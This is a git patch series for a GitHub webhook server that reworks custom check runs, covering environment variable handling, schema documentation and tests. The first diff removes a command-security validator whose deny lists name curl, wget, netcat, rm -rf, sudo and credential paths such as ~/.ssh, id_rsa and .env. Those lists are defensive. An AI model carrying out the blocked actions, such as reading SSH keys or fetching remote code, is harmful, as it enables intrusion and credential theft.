-import re -from typing import NamedTuple - - -class CommandSecurityResult(NamedTuple): - """Result of command security validation.""" - - is_safe: bool - error_message: str | None - - -# Shell metacharacters and operators that could be used for injection -DANGEROUS_SHELL_PATTERNS: list[tuple[str, str]] = [ - (r"[;&|]", "Shell operators (;, &, |) are not allowed"), - (r"\$\(", "Command substitution $() is not allowed"), - (r"`", "Backtick command substitution is not allowed"), - (r"\$\{", "Variable expansion ${} is not allowed"), - (r"\$[A-Za-z_]", "Variable expansion $VAR is not allowed"), - (r"[><]", "Redirections (>, <) are not allowed"), - (r"\|\|", "Logical OR (||) is not allowed"), - (r"&&", "Logical AND (&&) is not allowed"), - (r"\\n|\\r", "Newline escapes are not allowed"), - (r"\beval\b", "eval command is not allowed"), - (r"\bexec\b", "exec command is not allowed"), - (r"\bsource\b", "source command is not allowed"), - (r"\bsh\b", "sh command is not allowed"), - (r"\bbash\b", "bash command is not allowed"), - (r"\bzsh\b", "zsh command is not allowed"), - (r"\bcurl\b", "curl command is not allowed"), - (r"\bwget\b", "wget command is not allowed"), - (r"\bnc\b|\bnetcat\b", "netcat/nc command is not allowed"), - (r"\brm\s+-rf", "rm -rf is not allowed"), - (r"\bsudo\b", "sudo is not allowed"), - (r"\bsu\b", "su command is not allowed"), - (r"\bchmod\b", "chmod is not allowed"), - (r"\bchown\b", "chown is not allowed"), - (r"\bmkdir\s+-p\s+/", "Creating directories in root is not allowed"), -] - -# Sensitive paths that should never be accessed -SENSITIVE_PATH_PATTERNS: list[tuple[str, str]] = [ - (r"/etc/", "Access to /etc/ is not allowed"), - (r"/root/", "Access to /root/ is not allowed"), - (r"~/.ssh", "Access to SSH keys is not allowed"), - (r"/proc/", "Access to /proc/ is not allowed"), - (r"/sys/", "Access to /sys/ is not allowed"), - (r"/dev/", "Access to /dev/ is not allowed"), - (r"/var/log/", "Access to /var/log/ is not allowed"), - (r"/boot/", "Access to /boot/ is not allowed"), - (r"\.\.\/", "Path traversal (..) is not allowed"), - (r"\.env", "Access to .env files is not allowed"), - (r"config\.yaml", "Access to config.yaml is not allowed"), - (r"credentials", "Access to credentials files is not allowed"), - (r"\.pem\b", "Access to PEM files is not allowed"), - (r"\.key\b", "Access to key files is not allowed"), - (r"id_rsa", "Access to SSH private keys is not allowed"), - (r"id_ed25519", "Access to SSH private keys is not allowed"), -] - -# Maximum command length to prevent buffer overflow attacks -MAX_COMMAND_LENGTH = 4096 - - -def validate_command_security(command: str) -> CommandSecurityResult: - """Validate a command for security issues. - - Args: - command: The command string to validate - - Returns: - CommandSecurityResult with is_safe=True if command passes all checks, - or is_safe=False with an error_message describing the issue. - """ - # Check command length - if len(command) > MAX_COMMAND_LENGTH: - return CommandSecurityResult( - is_safe=False, - error_message=f"Command exceeds maximum length of {MAX_COMMAND_LENGTH} characters", - ) - - # Check for dangerous shell patterns - for pattern, message in DANGEROUS_SHELL_PATTERNS: - if re.search(pattern, command, re.IGNORECASE): - return CommandSecurityResult(is_safe=False, error_message=message) - - # Check for sensitive path access - for pattern, message in SENSITIVE_PATH_PATTERNS: - if re.search(pattern, command, re.IGNORECASE): - return CommandSecurityResult(is_safe=False, error_message=message) - - # Check for null bytes (could be used to bypass checks) - if "\x00" in command: - return CommandSecurityResult( - is_safe=False, - error_message="Null bytes are not allowed in commands", - ) - - # Check for non-printable characters (except common whitespace) - if re.search(r"[^\x20-\x7E\t\n\r]", command): - return CommandSecurityResult( - is_safe=False, - error_message="Non-printable characters are not allowed in commands", - ) - - return CommandSecurityResult(is_safe=True, error_message=None) From a3c6b8287b248b2c7996dd395c5b8b3d1f5dda7a Mon Sep 17 00:00:00 2001 From: rnetser Date: Thu, 1 Jan 2026 23:18:45 +0200 Subject: [PATCH 03/33] refactor: change custom check env from object to list of variable names Simplify env configuration by specifying only variable names instead of key-value pairs. Values are read from server environment at runtime. Changes: - Schema: env changed from object to array of strings - Handler: reads env var values from os.environ - Tests: updated for new env list format --- webhook_server/config/schema.yaml | 13 ++-- .../libs/handlers/runner_handler.py | 15 +++++ .../tests/test_custom_check_runs.py | 63 ++++++++++++++++++- 3 files changed, 85 insertions(+), 6 deletions(-) diff --git a/webhook_server/config/schema.yaml b/webhook_server/config/schema.yaml index 8d309caa..86ebc3be 100644 --- a/webhook_server/config/schema.yaml +++ b/webhook_server/config/schema.yaml @@ -325,7 +325,12 @@ properties: Commands run in the repository worktree. If a command is not found, a warning is logged and the check is skipped. - Long command example: + Examples: + - name: lint + command: uv tool run --from ruff ruff check + env: + - PYTHONPATH + - DEBUG - name: complex-check command: | python -c " @@ -343,9 +348,9 @@ properties: type: string description: Command to execute in the repository directory env: - type: object - description: Environment variables to set when running the command - additionalProperties: + type: array + description: Environment variable names to pass to the command (values read from server environment) + items: type: string required: - name diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index eea1cfa3..3e741eb0 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -1,5 +1,6 @@ import asyncio import contextlib +import os import re import shutil from asyncio import Task @@ -681,6 +682,19 @@ async def run_custom_check( output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) return await self.check_run_handler.set_custom_check_failure(name=check_name, output=output) + # Build env dict from env var names (read from server environment) + env_dict: dict[str, str] | None = None + env_var_names = check_config.get("env", []) + if env_var_names: + env_dict = {} + for var_name in env_var_names: + if var_name in os.environ: + env_dict[var_name] = os.environ[var_name] + else: + self.logger.warning( + f"{self.log_prefix} Environment variable '{var_name}' not found in server environment" + ) + # Execute command in worktree directory with env vars success, out, err = await run_command( command=command, @@ -688,6 +702,7 @@ async def run_custom_check( mask_sensitive=self.github_webhook.mask_sensitive, timeout=timeout, cwd=worktree_path, + env=env_dict, ) output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index 5d51e17c..ca8272cc 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -77,9 +77,9 @@ def test_custom_check_with_env_vars(self) -> None: config = { "name": "my-check", "command": "python -m pytest", - "env": {"PYTHONPATH": "/app", "DEBUG": "true"}, + "env": ["PYTHONPATH", "DEBUG"], } - assert config["env"] == {"PYTHONPATH": "/app", "DEBUG": "true"} + assert config["env"] == ["PYTHONPATH", "DEBUG"] def test_custom_check_with_multiline_command(self) -> None: """Test that custom check with multiline command is accepted.""" @@ -403,6 +403,65 @@ async def test_run_custom_check_command_execution_in_worktree( assert call_args["command"] == "uv tool run --from build python -m build" assert call_args["cwd"] == "/tmp/test-worktree" + @pytest.mark.asyncio + async def test_run_custom_check_with_env_vars(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: + """Test that custom check passes environment variables from server environment.""" + check_config = { + "name": "env-test", + "command": "env | grep TEST_VAR", + "env": ["TEST_VAR", "MISSING_VAR"], + } + + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.dict("os.environ", {"TEST_VAR": "test_value"}, clear=False), + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "TEST_VAR=test_value", "")), + ) as mock_run, + ): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify command was called with env dict containing only existing env vars + mock_run.assert_called_once() + call_kwargs = mock_run.call_args.kwargs + assert call_kwargs["env"] == {"TEST_VAR": "test_value"} + # MISSING_VAR should not be in env dict since it's not in os.environ + + @pytest.mark.asyncio + async def test_run_custom_check_without_env_vars( + self, runner_handler: RunnerHandler, mock_pull_request: Mock + ) -> None: + """Test that custom check without env config passes None to run_command.""" + check_config = { + "name": "no-env", + "command": "echo test", + } + + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "test", "")), + ) as mock_run, + ): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify command was called with env=None (no env config) + mock_run.assert_called_once() + call_kwargs = mock_run.call_args.kwargs + assert call_kwargs["env"] is None + @pytest.mark.asyncio async def test_run_custom_check_command_not_found( self, From 2a613d822f048754cb311f364bdf3857cc1bf12e Mon Sep 17 00:00:00 2001 From: rnetser Date: Fri, 2 Jan 2026 11:32:55 +0200 Subject: [PATCH 04/33] docs: add env var usage example to custom-check-runs schema Added example showing environment variable reference in custom-check-runs commands to improve documentation clarity. --- webhook_server/config/schema.yaml | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/webhook_server/config/schema.yaml b/webhook_server/config/schema.yaml index 86ebc3be..9452ccf2 100644 --- a/webhook_server/config/schema.yaml +++ b/webhook_server/config/schema.yaml @@ -325,7 +325,21 @@ properties: Commands run in the repository worktree. If a command is not found, a warning is logged and the check is skipped. - Examples: + Environment Variables: + The 'env' field lists variable NAMES to pass through from the server environment. + Variable VALUES are read from os.environ on the server at runtime. + + Example: + # Server environment has: PYTHONPATH=/app/lib, DEBUG=true + # Config lists variable names to pass through: + - name: lint + command: uv tool run --from ruff ruff check + env: + - PYTHONPATH + - DEBUG + # At runtime, command receives: PYTHONPATH=/app/lib, DEBUG=true + + Other Examples: - name: lint command: uv tool run --from ruff ruff check env: From 0c1f5ca862485a2079bb2ad758e605bc9ad9c1f3 Mon Sep 17 00:00:00 2001 From: rnetser Date: Fri, 2 Jan 2026 11:41:17 +0200 Subject: [PATCH 05/33] refactor: align custom checks with built-in check behavior Remove special handling for custom checks - they now fail naturally like built-in checks (tox, pre-commit, etc.) when commands are not found. Changes: - runner_handler.py: Removed skip logic for missing commands - check_run_handler.py: Removed set_custom_check_skipped method - schema.yaml: Simplified description to reflect new behavior - test_custom_check_runs.py: Removed skip/trigger/timeout tests --- webhook_server/config/schema.yaml | 18 +- .../libs/handlers/check_run_handler.py | 9 - .../libs/handlers/runner_handler.py | 19 -- .../tests/test_custom_check_runs.py | 190 +----------------- 4 files changed, 8 insertions(+), 228 deletions(-) diff --git a/webhook_server/config/schema.yaml b/webhook_server/config/schema.yaml index 9452ccf2..e2d406bd 100644 --- a/webhook_server/config/schema.yaml +++ b/webhook_server/config/schema.yaml @@ -322,29 +322,21 @@ properties: type: array description: | Custom check runs that execute user-defined commands on PR events. - Commands run in the repository worktree. If a command is not found, - a warning is logged and the check is skipped. + Commands run in the repository worktree and behave like built-in checks + (tox, pre-commit, etc.) - if a command is not found, the check will fail. Environment Variables: The 'env' field lists variable NAMES to pass through from the server environment. Variable VALUES are read from os.environ on the server at runtime. - Example: - # Server environment has: PYTHONPATH=/app/lib, DEBUG=true - # Config lists variable names to pass through: - - name: lint - command: uv tool run --from ruff ruff check - env: - - PYTHONPATH - - DEBUG - # At runtime, command receives: PYTHONPATH=/app/lib, DEBUG=true - - Other Examples: + Examples: - name: lint command: uv tool run --from ruff ruff check env: - PYTHONPATH - DEBUG + - name: security-scan + command: uv tool run --from bandit bandit -r . - name: complex-check command: | python -c " diff --git a/webhook_server/libs/handlers/check_run_handler.py b/webhook_server/libs/handlers/check_run_handler.py index 836a24fe..4a53d64c 100644 --- a/webhook_server/libs/handlers/check_run_handler.py +++ b/webhook_server/libs/handlers/check_run_handler.py @@ -270,15 +270,6 @@ async def set_custom_check_failure(self, name: str, output: dict[str, str] | Non output=output, ) - async def set_custom_check_skipped(self, name: str, output: dict[str, Any]) -> None: - """Set custom check run to skipped (neutral) status.""" - await self.set_check_run_status( - check_run=name, - status=COMPLETED_STR, - conclusion="neutral", - output=output, - ) - async def set_check_run_status( self, check_run: str, diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 3e741eb0..026ba13d 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -640,25 +640,6 @@ async def run_custom_check( timeout = check_config.get("timeout", 600) - # Check if the command executable exists - # Extract first word (the executable) - handle multi-line commands - first_line = command.strip().split("\n")[0] - executable = first_line.split()[0] if first_line.split() else "" - - if executable and not shutil.which(executable): - msg = f"{self.log_prefix} Command '{executable}' not found in container, skipping check '{check_name}'" - self.logger.warning(msg) - # Set check to neutral (skipped) not failure - skip_output: dict[str, Any] = { - "title": f"Custom Check: {check_name}", - "summary": f"Skipped - command '{executable}' not found", - "text": ( - f"The command '{executable}' was not found in the container. " - "Install it or remove this check from configuration." - ), - } - return await self.check_run_handler.set_custom_check_skipped(name=check_name, output=skip_output) - self.logger.step( # type: ignore[attr-defined] f"{self.log_prefix} {format_task_fields('runner', 'ci_check', 'started')} " f"Starting custom check: {check_config['name']}" diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index ca8272cc..b2e3518a 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -9,9 +9,7 @@ The custom check runs feature allows users to define custom checks via YAML configuration: - Custom check names match exactly what's configured in YAML (no prefix added) -- Checks can have triggers: opened, synchronize, reopened, ready_for_review -- Checks have configurable timeout (default 600, min 30, max 3600) -- Checks can be marked as required (default true) +- Checks behave like built-in checks (fail if command not found) - Custom checks are included in all_required_status_checks when required=true - Custom checks are added to supported retest list """ @@ -42,9 +40,6 @@ def valid_custom_check_config(self) -> dict[str, Any]: return { "name": "my-custom-check", "command": "uv tool run --from ruff ruff check", - "timeout": 300, - "required": True, - "triggers": ["opened", "synchronize"], } @pytest.fixture @@ -60,17 +55,11 @@ def test_valid_custom_check_config(self, valid_custom_check_config: dict[str, An # This test verifies the structure matches schema expectations assert valid_custom_check_config["name"] == "my-custom-check" assert valid_custom_check_config["command"] == "uv tool run --from ruff ruff check" - assert valid_custom_check_config.get("timeout", 600) == 300 - assert valid_custom_check_config.get("required", True) is True - assert valid_custom_check_config.get("triggers", []) == ["opened", "synchronize"] def test_minimal_custom_check_config(self, minimal_custom_check_config: dict[str, Any]) -> None: """Test that minimal custom check configuration is accepted.""" assert minimal_custom_check_config["name"] == "minimal-check" assert minimal_custom_check_config["command"] == "uv tool run --from pytest pytest" - # Default values would be applied by schema - assert "timeout" not in minimal_custom_check_config # Uses default 600 - assert "required" not in minimal_custom_check_config # Uses default true def test_custom_check_with_env_vars(self) -> None: """Test that custom check with environment variables is accepted.""" @@ -270,7 +259,6 @@ async def test_run_custom_check_success(self, runner_handler: RunnerHandler, moc check_config = { "name": "lint", "command": "uv tool run --from ruff ruff check", - "timeout": 300, } # Create async context manager mock @@ -291,10 +279,10 @@ async def test_run_custom_check_success(self, runner_handler: RunnerHandler, moc runner_handler.check_run_handler.set_custom_check_in_progress.assert_called_once_with(name="lint") runner_handler.check_run_handler.set_custom_check_success.assert_called_once() - # Verify command was executed with correct timeout + # Verify command was executed with default timeout mock_run.assert_called_once() call_kwargs = mock_run.call_args.kwargs - assert call_kwargs["timeout"] == 300 + assert call_kwargs["timeout"] == 600 # Default timeout @pytest.mark.asyncio async def test_run_custom_check_failure(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: @@ -302,7 +290,6 @@ async def test_run_custom_check_failure(self, runner_handler: RunnerHandler, moc check_config = { "name": "security-scan", "command": "uv tool run --from bandit bandit -r .", - "timeout": 600, } # Create async context manager mock @@ -343,36 +330,6 @@ async def test_run_custom_check_checkout_failure( # Verify failure status was set due to checkout failure runner_handler.check_run_handler.set_custom_check_failure.assert_called_once() - @pytest.mark.asyncio - async def test_run_custom_check_default_timeout( - self, runner_handler: RunnerHandler, mock_pull_request: Mock - ) -> None: - """Test that custom check uses default timeout when not specified.""" - check_config = { - "name": "test", - "command": "uv tool run --from pytest pytest", - # No timeout specified - should use default 600 - } - - # Create async context manager mock - mock_checkout_cm = AsyncMock() - mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) - mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) - - with ( - patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), - patch( - "webhook_server.libs.handlers.runner_handler.run_command", - new=AsyncMock(return_value=(True, "output", "")), - ) as mock_run, - ): - await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) - - # Verify default timeout (600) was used - mock_run.assert_called_once() - call_kwargs = mock_run.call_args.kwargs - assert call_kwargs["timeout"] == 600 # Default from schema - @pytest.mark.asyncio async def test_run_custom_check_command_execution_in_worktree( self, runner_handler: RunnerHandler, mock_pull_request: Mock @@ -462,68 +419,6 @@ async def test_run_custom_check_without_env_vars( call_kwargs = mock_run.call_args.kwargs assert call_kwargs["env"] is None - @pytest.mark.asyncio - async def test_run_custom_check_command_not_found( - self, - runner_handler: RunnerHandler, - mock_pull_request: Mock, - ) -> None: - """Test that custom check is skipped when command executable is not found.""" - check_config = { - "name": "missing-command", - "command": "nonexistent-command --arg", - } - - with ( - patch("shutil.which", return_value=None), # Command not found - patch.object( - runner_handler.check_run_handler, - "set_custom_check_skipped", - new=AsyncMock(), - ) as mock_skipped, - ): - await runner_handler.run_custom_check( - pull_request=mock_pull_request, - check_config=check_config, - ) - - # Should skip with neutral status - mock_skipped.assert_called_once() - call_kwargs = mock_skipped.call_args.kwargs - assert call_kwargs["name"] == "missing-command" - assert "output" in call_kwargs - assert "not found" in call_kwargs["output"]["summary"] - - @pytest.mark.asyncio - async def test_run_custom_check_multiline_command_not_found( - self, - runner_handler: RunnerHandler, - mock_pull_request: Mock, - ) -> None: - """Test that multiline command executable check works correctly.""" - check_config = { - "name": "multiline-missing", - "command": "nonexistent-python -c \"\nimport sys\nprint('test')\n\"", - } - - with ( - patch("shutil.which", return_value=None), # Command not found - patch.object( - runner_handler.check_run_handler, - "set_custom_check_skipped", - new=AsyncMock(), - ) as mock_skipped, - ): - await runner_handler.run_custom_check( - pull_request=mock_pull_request, - check_config=check_config, - ) - - # Should extract first line and check for executable - mock_skipped.assert_called_once() - call_kwargs = mock_skipped.call_args.kwargs - assert "nonexistent-python" in call_kwargs["output"]["text"] - class TestCustomCheckRunsIntegration: """Integration tests for custom check runs feature.""" @@ -545,22 +440,17 @@ def mock_github_webhook(self) -> Mock: { "name": "lint", "command": "uv tool run --from ruff ruff check", - "timeout": 300, "required": True, - "triggers": ["opened", "synchronize"], }, { "name": "security", "command": "uv tool run --from bandit bandit -r .", - "timeout": 600, "required": True, - "triggers": ["opened", "ready_for_review"], }, { "name": "optional-check", "command": "uv tool run --from pytest pytest", "required": False, - "triggers": ["synchronize"], }, ] return mock_webhook @@ -575,78 +465,6 @@ def mock_pull_request(self) -> Mock: mock_pr.draft = False return mock_pr - @pytest.mark.asyncio - async def test_custom_checks_queued_on_opened_event( - self, mock_github_webhook: Mock, mock_pull_request: Mock - ) -> None: - """Test that custom checks are queued when PR is opened.""" - check_run_handler = CheckRunHandler(mock_github_webhook) - check_run_handler.set_custom_check_queued = AsyncMock() - - # Simulate PR opened event - should queue lint and security checks - triggered_checks = [ - check for check in mock_github_webhook.custom_check_runs if "opened" in check.get("triggers", []) - ] - - for check in triggered_checks: - check_name = check["name"] - await check_run_handler.set_custom_check_queued(name=check_name) - - # Verify both checks were queued - assert check_run_handler.set_custom_check_queued.call_count == 2 - call_args_list = [call.kwargs["name"] for call in check_run_handler.set_custom_check_queued.call_args_list] - assert "lint" in call_args_list - assert "security" in call_args_list - - @pytest.mark.asyncio - async def test_custom_checks_queued_on_synchronize_event( - self, mock_github_webhook: Mock, mock_pull_request: Mock - ) -> None: - """Test that custom checks are queued when PR is synchronized.""" - mock_github_webhook.hook_data["action"] = "synchronize" - - check_run_handler = CheckRunHandler(mock_github_webhook) - check_run_handler.set_custom_check_queued = AsyncMock() - - # Simulate PR synchronize event - should queue lint and optional-check - triggered_checks = [ - check for check in mock_github_webhook.custom_check_runs if "synchronize" in check.get("triggers", []) - ] - - for check in triggered_checks: - check_name = check["name"] - await check_run_handler.set_custom_check_queued(name=check_name) - - # Verify correct checks were queued - assert check_run_handler.set_custom_check_queued.call_count == 2 - call_args_list = [call.kwargs["name"] for call in check_run_handler.set_custom_check_queued.call_args_list] - assert "lint" in call_args_list - assert "optional-check" in call_args_list - - @pytest.mark.asyncio - async def test_custom_checks_queued_on_ready_for_review_event( - self, mock_github_webhook: Mock, mock_pull_request: Mock - ) -> None: - """Test that custom checks are queued when PR is marked ready for review.""" - mock_github_webhook.hook_data["action"] = "ready_for_review" - - check_run_handler = CheckRunHandler(mock_github_webhook) - check_run_handler.set_custom_check_queued = AsyncMock() - - # Simulate PR ready_for_review event - should queue security check - triggered_checks = [ - check for check in mock_github_webhook.custom_check_runs if "ready_for_review" in check.get("triggers", []) - ] - - for check in triggered_checks: - check_name = check["name"] - await check_run_handler.set_custom_check_queued(name=check_name) - - # Verify security check was queued - assert check_run_handler.set_custom_check_queued.call_count == 1 - call_args = check_run_handler.set_custom_check_queued.call_args.kwargs["name"] - assert call_args == "security" - @pytest.mark.asyncio async def test_custom_checks_execution_workflow(self, mock_github_webhook: Mock, mock_pull_request: Mock) -> None: """Test complete workflow of custom check execution.""" @@ -812,7 +630,6 @@ async def test_custom_check_timeout_expiration(self, mock_github_webhook: Mock) check_config = { "name": "slow-check", "command": "uv tool run --from some-package slow-command", - "timeout": 30, # 30 second timeout } # Create async context manager mock @@ -855,7 +672,6 @@ async def test_custom_check_with_long_command(self, mock_github_webhook: Mock) - mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) with ( - patch("shutil.which", return_value="/usr/bin/python"), # Command exists patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), patch( "webhook_server.libs.handlers.runner_handler.run_command", From 5637f5e4af3e321c4e9170c132d6cf4f7cfacda6 Mon Sep 17 00:00:00 2001 From: rnetser Date: Fri, 2 Jan 2026 11:49:58 +0200 Subject: [PATCH 06/33] feat: support explicit values in custom check env vars Allows env entries in custom check run configuration to use two formats: - Variable name only (VAR) - reads from server environment - Variable with explicit value (VAR=value) - uses provided value This enables mixed usage like: env: - PYTHONPATH - DEBUG=true --- webhook_server/config/schema.yaml | 17 +++-- .../libs/handlers/runner_handler.py | 25 +++++-- .../tests/test_custom_check_runs.py | 65 +++++++++++++++++++ 3 files changed, 95 insertions(+), 12 deletions(-) diff --git a/webhook_server/config/schema.yaml b/webhook_server/config/schema.yaml index e2d406bd..5326d001 100644 --- a/webhook_server/config/schema.yaml +++ b/webhook_server/config/schema.yaml @@ -326,17 +326,21 @@ properties: (tox, pre-commit, etc.) - if a command is not found, the check will fail. Environment Variables: - The 'env' field lists variable NAMES to pass through from the server environment. - Variable VALUES are read from os.environ on the server at runtime. + The 'env' field supports two formats for passing environment variables: + 1. Variable name only (e.g., 'PYTHONPATH') - value read from server's os.environ + 2. Variable with value (e.g., 'DEBUG=true') - explicit value provided Examples: - name: lint command: uv tool run --from ruff ruff check env: - - PYTHONPATH - - DEBUG + - PYTHONPATH # Read from server environment + - DEBUG=true # Explicit value - name: security-scan command: uv tool run --from bandit bandit -r . + env: + - CUSTOM_VAR # Read from server environment + - ENABLE_SCAN=1 # Explicit value - name: complex-check command: | python -c " @@ -355,7 +359,10 @@ properties: description: Command to execute in the repository directory env: type: array - description: Environment variable names to pass to the command (values read from server environment) + description: | + Environment variables to pass to the command. Each entry can be: + - Variable name only (e.g., 'PYTHONPATH') - value read from server's os.environ + - Variable with value (e.g., 'DEBUG=true') - explicit value provided items: type: string required: diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 026ba13d..20471c29 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -663,17 +663,28 @@ async def run_custom_check( output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) return await self.check_run_handler.set_custom_check_failure(name=check_name, output=output) - # Build env dict from env var names (read from server environment) + # Build env dict from env entries (supports both formats) + # Format 1: VAR_NAME - value read from server environment + # Format 2: VAR_NAME=value - explicit value provided env_dict: dict[str, str] | None = None - env_var_names = check_config.get("env", []) - if env_var_names: + env_entries = check_config.get("env", []) + if env_entries: env_dict = {} - for var_name in env_var_names: - if var_name in os.environ: - env_dict[var_name] = os.environ[var_name] + for env_entry in env_entries: + if "=" in env_entry: + # Format 2: VAR_NAME=value + var_name, var_value = env_entry.split("=", 1) + env_dict[var_name] = var_value + self.logger.debug( + f"{self.log_prefix} Using explicit value for environment variable '{var_name}'" + ) + elif env_entry in os.environ: + # Format 1: VAR_NAME (read from server environment) + env_dict[env_entry] = os.environ[env_entry] + self.logger.debug(f"{self.log_prefix} Using server environment value for '{env_entry}'") else: self.logger.warning( - f"{self.log_prefix} Environment variable '{var_name}' not found in server environment" + f"{self.log_prefix} Environment variable '{env_entry}' not found in server environment" ) # Execute command in worktree directory with env vars diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index b2e3518a..d616090d 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -419,6 +419,71 @@ async def test_run_custom_check_without_env_vars( call_kwargs = mock_run.call_args.kwargs assert call_kwargs["env"] is None + @pytest.mark.asyncio + async def test_run_custom_check_with_explicit_env_values( + self, runner_handler: RunnerHandler, mock_pull_request: Mock + ) -> None: + """Test that custom check with explicit env values (VAR=value format) works correctly.""" + check_config = { + "name": "explicit-env-test", + "command": "env | grep DEBUG", + "env": ["DEBUG=true", "VERBOSE=1"], + } + + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "DEBUG=true\nVERBOSE=1", "")), + ) as mock_run, + ): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify command was called with env dict containing explicit values + mock_run.assert_called_once() + call_kwargs = mock_run.call_args.kwargs + assert call_kwargs["env"] == {"DEBUG": "true", "VERBOSE": "1"} + + @pytest.mark.asyncio + async def test_run_custom_check_with_mixed_env_formats( + self, runner_handler: RunnerHandler, mock_pull_request: Mock + ) -> None: + """Test that custom check with mixed env formats (both VAR and VAR=value) works correctly.""" + check_config = { + "name": "mixed-env-test", + "command": "env", + "env": ["DEBUG=true", "SERVER_VAR", "VERBOSE=1"], + } + + # Create async context manager mock + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.dict("os.environ", {"SERVER_VAR": "from_server"}, clear=False), + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "DEBUG=true\nSERVER_VAR=from_server\nVERBOSE=1", "")), + ) as mock_run, + ): + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify command was called with env dict containing mixed sources + mock_run.assert_called_once() + call_kwargs = mock_run.call_args.kwargs + assert call_kwargs["env"] == { + "DEBUG": "true", + "SERVER_VAR": "from_server", + "VERBOSE": "1", + } + class TestCustomCheckRunsIntegration: """Integration tests for custom check runs feature.""" From 85d18211158e8fbde6fdbd10236765958d565358 Mon Sep 17 00:00:00 2001 From: rnetser Date: Fri, 2 Jan 2026 11:58:09 +0200 Subject: [PATCH 07/33] refactor: remove triggers/required fields from custom checks Custom checks now behave exactly like built-in checks (tox, pre-commit): - Run on all PR events (no trigger filtering) - Always required for merge (no required field) --- .../libs/handlers/check_run_handler.py | 13 +++--- .../libs/handlers/pull_request_handler.py | 30 ++++++------- .../tests/test_custom_check_runs.py | 43 +++---------------- 3 files changed, 25 insertions(+), 61 deletions(-) diff --git a/webhook_server/libs/handlers/check_run_handler.py b/webhook_server/libs/handlers/check_run_handler.py index 4a53d64c..0c23229c 100644 --- a/webhook_server/libs/handlers/check_run_handler.py +++ b/webhook_server/libs/handlers/check_run_handler.py @@ -508,14 +508,13 @@ async def all_required_status_checks(self, pull_request: PullRequest) -> list[st if self.github_webhook.conventional_title: all_required_status_checks.append(CONVENTIONAL_TITLE_STR) - # Add required custom checks + # Add all custom checks (same as built-in checks - all are required) for custom_check in self.github_webhook.custom_check_runs: - if custom_check.get("required", True): - check_name = custom_check.get("name") - if not check_name: - self.logger.warning(f"{self.log_prefix} Custom check missing required 'name' field, skipping") - continue - all_required_status_checks.append(check_name) + check_name = custom_check.get("name") + if not check_name: + self.logger.warning(f"{self.log_prefix} Custom check missing required 'name' field, skipping") + continue + all_required_status_checks.append(check_name) _all_required_status_checks = branch_required_status_checks + all_required_status_checks self.logger.debug(f"{self.log_prefix} All required status checks: {_all_required_status_checks}") diff --git a/webhook_server/libs/handlers/pull_request_handler.py b/webhook_server/libs/handlers/pull_request_handler.py index a152c5ea..a97d556f 100644 --- a/webhook_server/libs/handlers/pull_request_handler.py +++ b/webhook_server/libs/handlers/pull_request_handler.py @@ -740,16 +740,13 @@ async def process_opened_or_synchronize_pull_request(self, pull_request: PullReq if self.github_webhook.conventional_title: 